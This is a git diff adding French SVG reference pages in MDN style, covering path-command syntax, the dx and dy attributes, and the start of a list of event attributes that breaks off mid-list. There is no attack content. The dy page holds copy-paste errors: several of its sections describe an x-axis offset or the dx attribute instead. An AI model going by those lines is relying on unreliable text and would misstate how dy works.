+<p>Pour réaliser des chaînes de courbes de Bézier "adoucies", il est possible d'utiliser les commandes T et S. Leur syntaxe est plus simple que les autres commandes Curveto car elles estiment que le premier point de contrôle est le symétrique du point de contrôle précédent par rapport au point terminal de la courbe précédente, ou que c'est le point précédent lui-même s'il n'y a pas eu de courbe tracée directement avant. La syntaxe de T est <code>T x, y</code> ou <code>t dx, dy</code> pour un point d'arrivée de position absolue ou relatives et sert à créer des courbes quadratiques de Bézier. S sert donc à faire des courbes cubiques de Bézier avec la syntaxe <code>S cx, cy x, y</code> ou <code>s dcx,dcy dx,dy</code>, où (d)cx indique le second point de contrôle.</p>
+
+<p>Finalement, toutes les commandes de courbes de Bézier peuvent servir de "polybézier" en spécifiant tous les paramètres successivement après la commande initiale. En conséquence, les deux commandes suivantes sont équivalentes en résultat :</p>
+
+<div class="geckoVersionNote">
+<p><code>&lt;path d="c 50, 0 50, 100 100, 100 50, 0 50, -100 100, -100" /&gt;<br>
+ &lt;path d="c 50, 0 50, 100 100, 100 c 50, 0 50, -100 100, -100" /&gt;</code></p>
+</div>
+
+<h2 id="Arcto">Arcto</h2>
+
+<p>Parfois il est plus simple de définir un <code>path</code> comme une courbe elliptique plutôt que comme une courbe de Bézier. Dans cette optique, les commandes Arcto sont supportées par les balises <code>path</code>.</p>
+
+<p>La définition d'un Arcto est relativement complexe : <code>A rx, ry xAxisRotate LargeArcFlag, SweepFlag x, y</code>, où <code>rx</code> et <code>ry</code> représentent les rayons sur les axes x et y, respectivement ; <code>LargeArcFlag</code> est une valeur à 0 ou 1, et permet de déterminer si le plus petit (0) ou le plus grand (1) arc possible doit être dessiné ; <code>SweepFlag</code> est une valeur à 0 ou 1 et définit le sens de balayage de la courbe : horaire (1) ou anti-horaire (0) ; et enfin <code>x</code> et <code>y</code> sont les coordonnées de destination.</p>
+
+<p>La propriété <code>xAxisRotate</code> est censée changer l'axe des x relativement au viewport de référence. Cependant, il semble que cette propriété n'ait aucun effet avec le moteur de rendu Gecko 7.</p>
+
+<h2 id="ClosePath_(fermer_un_chemin)">ClosePath (fermer un chemin)</h2>
+
+<p>L'instruction ClosePath trace simplement une ligne droite de la position actuelle jusqu'au point initial de la courbe. C'est l'instruction la plus simple puisqu'elle n'attend aucun argument. Il n'y a pas de différence entre la version majuscule ("Z") et la version minuscule ("z").</p>
+</div>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>Les éléments suivants peuvent utiliser l'attribut <strong>d</strong> :</p>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("glyph")}}</li>
+</ul>
+
+<p>De plus, les mêmes règles s'appliquent aux animations de chemin {{SVGElement("animate")}}.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le point d'origine (de coordonnées 0,0) est habituellement le <strong>coin supérieur gauche</strong> du contexte. Cependant, l'élément {{SVGElement("glyph")}} a son origine dans le <strong>coin inférieur gauche</strong> de la boîte contenant son caractère.</p>
+</div>
diff --git a/files/fr/web/svg/attribute/dx/index.html b/files/fr/web/svg/attribute/dx/index.html
new file mode 100644
index 0000000000..436b6dbd85
--- /dev/null
+++ b/files/fr/web/svg/attribute/dx/index.html
@@ -0,0 +1,294 @@
+---
+title: dx
+slug: Web/SVG/Attribute/dx
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/dx
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>dx</code></strong> indique un décalage sur l'axe x de la position d'un élément ou de son contenu.</p>
+
+<p>Sept éléments utilisent cet attribut: {{SVGElement('altGlyph')}}, {{SVGElement('feDropShadow')}}, {{SVGElement('feOffset')}}, {{SVGElement('glyphRef')}}, {{SVGElement('text')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Lignes indiquant la position des glyphes --&gt;
+  &lt;line x1="0"  x2="100%" y1="50%" y2="50%" /&gt;
+  &lt;line x1="10%" x2="10%" y1="0"   y2="100%" /&gt;
+  &lt;line x1="60%" x2="60%" y1="0"   y2="100%" /&gt;
+
+  &lt;!-- Un texte de référence --&gt;
+  &lt;text x="10%" y="50%" fill="grey"&gt;SVG&lt;/text&gt;
+
+  &lt;!-- Le même texte avec un décalage sur l'axe x --&gt;
+  &lt;text dx="50%" x="10%" y="50%"&gt;SVG&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">line {
+  stroke: red;
+  stroke-width: .5px;
+  stroke-dasharray: 3px;
+}</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="altGlyph">altGlyph</h2>
+
+<p class="warning"><strong>Attention:</strong> Depuis SVG2 {{SVGElement('altGlyph')}} est déprécié et ne devrait pas être utilisé.</p>
+
+<p>Pour {{SVGElement('altGlyph')}}, s'il ne contient qu'une seule valeur, <code>dx</code> définit un décalage sur l'axe x pour l'ensemble des glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dx</code> définit un décalage sur l'axe x individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent une valeur de <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs supplémentaires sont ignorées.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feDropShadow">feDropShadow</h2>
+
+<p>Pour {{SVGElement('feDropShadow')}}, <code>dx</code> définit le décalage x de l'ombre portée. L'unité utilisée pour résoudre la valeur de l'attribut est définie par l'attribut {{SVGAttr('primitiveUnits')}} de l'élément {{SVGElement('filter')}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feOffset">feOffset</h2>
+
+<p>Pour {{SVGElement('feOffset')}}, <code>dx</code> définit le décalage x de l'élément source du filtre. L'unité utilisée pour résoudre la valeur de l'attribut est définie par l'attribut {{SVGAttr('primitiveUnits')}} de l'élément {{SVGElement('filter')}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="glyphRef">glyphRef</h2>
+
+<p class="warning"><strong>Attention:</strong> Depuis SVG2 {{SVGElement('glyphRef')}} est déprécié et ne devrait pas être utilisé.</p>
+
+<p>Pour {{SVGElement('glyphRef')}}, <code>dx</code> définit le décalage x du glyphe, dans le système métrique de la police.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="text">text</h2>
+
+<p>Pour {{SVGElement('text')}}, s'il ne contient qu'une seule valeur, <code>dx</code> définit un décalage sur l'axe x pour tous les glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dx</code> définit un décalage sur l'axe x individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent une valeur de <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs supplémentaires sont ignorées.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Exemple">Exemple</h3>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Linges indiquant la position des glyphes --&gt;
+  &lt;line x1="0"  x2="100%" y1="25%" y2="25%" /&gt;
+  &lt;line x1="0"  x2="100%" y1="50%" y2="50%" /&gt;
+  &lt;line x1="0"  x2="100%" y1="75%" y2="75%" /&gt;
+
+  &lt;line x1="10%" x2="10%" y1="0"   y2="100%" /&gt;
+  &lt;line x1="30%" x2="30%" y1="0"   y2="100%" /&gt;
+  &lt;line x1="60%" x2="60%" y1="0"   y2="100%" /&gt;
+
+  &lt;!-- Le comportement change en fonction du nombre
+       de valeurs de l'attribut --&gt;
+  &lt;text dx="20%"       x="10%" y="25%"&gt;SVG&lt;/text&gt;
+  &lt;text dx="0 10%"     x="10%" y="50%"&gt;SVG&lt;/text&gt;
+  &lt;text dx="0 10% 20%" x="10%" y="75%"&gt;SVG&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">line {
+  stroke: red;
+  stroke-width: .5px;
+  stroke-dasharray: 3px;
+}</pre>
+
+<p>{{EmbedLiveSample('text', '100%', 100)}}</p>
+
+<h2 id="tref">tref</h2>
+
+<p class="warning"><strong>Attention:</strong> Depuis SVG2 {{SVGElement('tref')}} est déprécié et ne devrait pas être utilisé.</p>
+
+<p> </p>
+
+<p>Pour {{SVGElement('tref')}}, s'il ne contient qu'une seule valeur, <code>dx</code> définit un décalage sur l'axe x pour tous les glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dx</code> définit un décalage sur l'axe x individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent une valeur de <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs supplémentaires sont ignorées.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="tspan">tspan</h2>
+
+<p> </p>
+
+<p>Pour {{SVGElement('tspan')}}, s'il ne contient qu'une seule valeur, <code>dx</code> définit un décalage sur l'axe x pour tous les glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dx</code> définit un décalage sur l'axe x individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent une valeur de <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs supplémentaires sont ignorées.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#element-attrdef-fedropshadow-dx', 'dx') }}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Définition initiale pour <code>&lt;feDropShadow&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#element-attrdef-feoffset-dx', 'dx') }}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Définition pour <code>&lt;feOffset&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "text.html#TextElementDXAttribute", "dx")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour <code>&lt;text&gt;</code> et <code>&lt;tspan&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feOffsetDxAttribute", "dx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;feOffset&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#AltGlyphElementDXAttribute", "dx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;altGlyph&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#GlyphRefElementDXAttribute", "dx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;glyphRef&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#TextElementDXAttribute", "dx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;text&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#TSpanElementDXAttribute", "dx")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;tref&gt;</code> et <code>&lt;tspan&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/dy/index.html b/files/fr/web/svg/attribute/dy/index.html
new file mode 100644
index 0000000000..2dd91bf46e
--- /dev/null
+++ b/files/fr/web/svg/attribute/dy/index.html
@@ -0,0 +1,297 @@
+---
+title: dy
+slug: Web/SVG/Attribute/dy
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/dy
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>dy</code></strong> indique un décalage sur l'axe y de la position d'un élément ou de son contenu.</p>
+
+<p>Sept éléments utilisent cet attribut: {{SVGElement('altGlyph')}}, {{SVGElement('feDropShadow')}}, {{SVGElement('feOffset')}}, {{SVGElement('glyphRef')}}, {{SVGElement('text')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Lignes indiquant la position des glyphes --&gt;
+  &lt;line x1="10%" x2="10%"  y1="0"   y2="100%" /&gt;
+  &lt;line x1="0"   x2="100%" y1="30%" y2="30%"  /&gt;
+  &lt;line x1="0"   x2="100%" y1="80%" y2="80%"  /&gt;
+
+  &lt;!-- Un texte de référence --&gt;
+  &lt;text x="10%" y="30%" fill="grey"&gt;SVG&lt;/text&gt;
+
+  &lt;!-- Le même texte avec un décalage sur l'axe y --&gt;
+  &lt;text dy="50%" x="10%" y="30%"&gt;SVG&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">line {
+  stroke: red;
+  stroke-width: .5px;
+  stroke-dasharray: 3px;
+}</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="altGlyph">altGlyph</h2>
+
+<p class="warning"><strong>Attention:</strong> Depuis {{SVGElement('altGlyph')}} est déprécié et ne devrait pas être utilisé.</p>
+
+<p>Pour {{SVGElement('altGlyph')}}, s'il ne contient qu'une seule valeur, <code>dy</code> définit un décalge sur l'axe y pour tous les glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dy</code> définit un décalage sur l'axe y individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent la valeur <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs restantes sont ignorées.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feDropShadow">feDropShadow</h2>
+
+<p>Pour {{SVGElement('feDropShadow')}}, <code>dy</code> définit le décalage x de l'ombre portée. L'unité utilisée pour résoudre la valeur est définie par l'attribut {{SVGAttr('primitiveUnits')}} de l'élément {{SVGElement('filter')}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feOffset">feOffset</h2>
+
+<p>Pour {{SVGElement('feOffset')}}, <code>dy</code> définit le décalage x de l'élément source du filtre. L'unité utilisée pour résoudre la valeur est définie par l'attribut {{SVGAttr('primitiveUnits')}} de l'élément {{SVGElement('filter')}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="glyphRef">glyphRef</h2>
+
+<p class="warning"><strong>Attention:</strong> Depuis SVG2 {{SVGElement('glyphRef')}} est déprécié et ne devrait pas être utilisé.</p>
+
+<p>Pour {{SVGElement('glyphRef')}}, <code>dy</code> définit le décalage x du glyphe, dans le système métrique de la police.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="text">text</h2>
+
+<p>Pour {{SVGElement('text')}}, s'il ne contient qu'une seule valeur, <code>dx</code> définit un décalage sur l'axe x pour tous les glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dx</code> définit un décalage sur l'axe x individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent une valeur de <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs supplémentaires sont ignorées.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Exemple">Exemple</h3>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 150 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Lignes horizontales --&gt;
+  &lt;line x1="0" x2="100%" y1="30" y2="30" /&gt;
+  &lt;line x1="0" x2="100%" y1="40" y2="40" /&gt;
+  &lt;line x1="0" x2="100%" y1="50" y2="50" /&gt;
+  &lt;line x1="0" x2="100%" y1="60" y2="60" /&gt;
+
+  &lt;!-- Lignes verticales --&gt;
+  &lt;line x1="10" x2="10" y1="0" y2="100%" /&gt;
+  &lt;line x1="50" x2="50" y1="0" y2="100%" /&gt;
+  &lt;line x1="90" x2="90" y1="0" y2="100%" /&gt;
+
+  &lt;!-- Le comportement change en fonction du nombre de valeurs de l'attribut --&gt;
+  &lt;text dy="20"      x="10" y="30"&gt;SVG&lt;/text&gt;
+  &lt;text dy="0 10"    x="50" y="30"&gt;SVG&lt;/text&gt;
+  &lt;text dy="0 10 20" x="90" y="30"&gt;SVG&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">line {
+  stroke: red;
+  stroke-width: .5px;
+  stroke-dasharray: 3px;
+}</pre>
+
+<p>{{EmbedLiveSample('text', '100%', 100)}}</p>
+
+<h2 id="tref">tref</h2>
+
+<p class="warning"><strong>Attention:</strong> Depuis SVG2 {{SVGElement('tref')}} est déprécié et ne devrait pas être utilisé.</p>
+
+<p> </p>
+
+<p>Pour {{SVGElement('tref')}}, s'il ne contient qu'une seule valeur, <code>dx</code> définit un décalage sur l'axe x pour tous les glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dx</code> définit un décalage sur l'axe x individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent une valeur de <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs supplémentaires sont ignorées.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="tspan">tspan</h2>
+
+<p> </p>
+
+<p>Pour {{SVGElement('tspan')}}, s'il ne contient qu'une seule valeur, <code>dx</code> définit un décalage sur l'axe x pour tous les glyphes.</p>
+
+<p>S'il a plusieurs valeurs, <code>dx</code> définit un décalage sur l'axe x individuellement pour chaque glyphe, relativement au glyphe précédent. S'il y a moins de valeurs qu'il n'y a de glyphes, les glyphes restants utilisent une valeur de <code>0</code>. S'il y a plus de valeurs qu'il n'y a de glyphes, les valeurs supplémentaires sont ignorées.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Liste de <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#element-attrdef-fedropshadow-dy', 'dy') }}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Définition initiale pour <code>&lt;feDropShadow&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#element-attrdef-feoffset-dy', 'dy') }}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Définition pour <code>&lt;feOffset&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "text.html#TextElementDYAttribute", "dy")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour <code>&lt;text&gt;</code> et <code>&lt;tspan&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feOffsetDyAttribute", "dy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;feOffset&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#AltGlyphElementDYAttribute", "dy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;altGlyph&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#GlyphRefElementDYAttribute", "dy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;glyphRef&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#TextElementDYAttribute", "dy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;text&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#TSpanElementDYAttribute", "dy")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour <code>&lt;tref&gt;</code> et <code>&lt;tspan&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/events/index.html b/files/fr/web/svg/attribute/events/index.html
new file mode 100644
index 0000000000..0c1faf098d
--- /dev/null
+++ b/files/fr/web/svg/attribute/events/index.html
@@ -0,0 +1,43 @@
+---
+title: Attributs d'événements des SVG
+slug: Web/SVG/Attribute/Events
+tags:
+  - Event
+  - SVG
+translation_of: Web/SVG/Attribute/Events
+---
+<p>Tout attribut d'événement a un nom qui commence par "on" suivit du nom de l'événement auquel il est rattaché. Ces attributs spécifient quel script exécuter lorsque l'événement du type donné est déclenché sur l'élément.</p>
+
+<p>SVG prend en charge tous les types d'événement pris en charge par le navigateur, en suivant les mêmes spécifications que les attributs d'événement HTML.</p>
+
+<p>Les attributs d'événements globaux sont disponibles sur <em>tous les éléments SVG</em>. Les autres attributs d'événement sont disponible au cas par cas sur les différents éléments.</p>
+
+<p>Tous les attributs d'événements <em>ne peuvent pas être animés.</em></p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_d'événement_d'animation">Attributs d'événement d'animation</h3>
+
+<p><code><strong>onbegin</strong></code>, <code><strong>onend</strong></code>, <code><strong>onrepeat</strong></code></p>
+
+<h3 id="Attributs_d'événement_du_document">Attributs d'événement du document</h3>
+
+<p><code><strong>onabort</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onunload</strong></code></p>
+
+<h3 id="Attributs_d'événement_des_éléments_du_document">Attributs d'événement des éléments du document</h3>
+
+<p><strong><code>oncopy</code></strong>, <strong><code>oncut</code></strong>, <strong><code>onpaste</code></strong></p>
+
+<h3 id="Attributs_d'événement_globaux">Attributs d'événement globaux</h3>
+
+<p><code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, 